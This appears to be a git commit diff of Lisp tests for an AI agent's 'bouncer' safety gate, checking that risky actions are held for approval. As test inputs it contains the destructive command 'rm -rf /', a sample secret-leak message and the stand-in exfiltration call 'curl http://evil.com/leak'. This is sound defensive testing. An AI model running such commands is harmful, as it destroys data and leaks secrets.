FEAT: Implement 5-Vector Bouncer Matrix and foundational refactor

This commit is contained in:
2026-04-11 16:36:06 -04:00
parent eca6610274
commit 9fcf45d918
13 changed files with 363 additions and 490 deletions

View File

@@ -8,29 +8,33 @@
(test test-bouncer-interception
"Verify that a high-risk action is intercepted by the bouncer."
(let* ((action '(:type :REQUEST :target :tool :action :call :tool "shell" :args (:cmd "rm -rf /")))
(let* ((action '(:type :REQUEST :target :shell :payload (:cmd "rm -rf /")))
(context '(:payload (:sensor :test)))
(result (org-agent:decide-gate (list :type :EVENT :candidate action :payload '(:sensor :test)))))
;; decide-gate expects a signal plist with a :candidate
(signal (list :candidate action :payload '(:sensor :test)))
(result (org-agent:decide-gate signal)))
(let ((approved (getf result :approved-action)))
;; Result should be an EVENT requiring approval, not the original REQUEST
(is (not (null approved)))
(is (eq :EVENT (getf approved :type)))
(is (eq :approval-required (getf (getf approved :payload) :sensor)))
(is (equal action (getf (getf approved :payload) :action))))))
(test test-bouncer-bypass
"Verify that an approved action bypasses the bouncer."
(let* ((action '(:type :REQUEST :target :tool :action :call :tool "shell" :args (:cmd "ls") :approved t))
(let* ((action '(:type :REQUEST :target :shell :payload (:cmd "ls") :approved t))
(context '(:payload (:sensor :test)))
(result (org-agent:decide-gate (list :type :EVENT :candidate action :payload '(:sensor :test)))))
(signal (list :candidate action :payload '(:sensor :test)))
(result (org-agent:decide-gate signal)))
(let ((approved (getf result :approved-action)))
;; Result should be the original action because it has :approved t
(is (eq :REQUEST (getf approved :type)))
(is (not (null approved)))
(is (equal action approved)))))
(test test-bouncer-approval-reaction
"Verify that the bouncer skill re-injects an action when a plan node is APPROVED."
(clrhash org-agent::*object-store*)
(let* ((action '(:type :REQUEST :target :tool :action :call :tool "ls"))
(let* ((action '(:type :REQUEST :target :telegram :payload (:text "hello")))
(node-id "plan-1"))
;; 1. Setup an APPROVED flight plan node
(setf (gethash node-id org-agent::*object-store*)
@@ -44,3 +48,26 @@
;; The node should now be DONE
(let ((obj (gethash node-id org-agent::*object-store*)))
(is (equal "DONE" (getf (org-agent:org-object-attributes obj) :TODO)))))))
(test test-bouncer-secret-exposure
"Verify that the bouncer blocks leakage of secrets from the vault."
(let ((old-vault org-agent::*vault-memory*))
(unwind-protect
(progn
(setf org-agent::*vault-memory* (make-hash-table :test 'equal))
(setf (gethash ":test-secret-api-key" org-agent::*vault-memory*) "SUPER-SECRET-12345")
(let* ((action '(:type :REQUEST :target :telegram :payload (:text "My key is SUPER-SECRET-12345")))
(result (org-agent::bouncer-check action nil)))
(is (not (eq result action)))
(is (eq :log (getf result :type)))
(is (search "Potential exposure of :test-secret" (getf (getf result :payload) :text)))))
(setf org-agent::*vault-memory* old-vault))))
(test test-bouncer-network-exfiltration
"Verify that unwhitelisted network calls are intercepted."
(let ((action '(:type :REQUEST :target :shell :payload (:cmd "curl http://evil.com/leak"))))
(let ((result (org-agent::bouncer-check action nil)))
(is (not (null result)))
(is (eq :EVENT (getf result :type)))
(is (eq :approval-required (getf (getf result :payload) :sensor))))))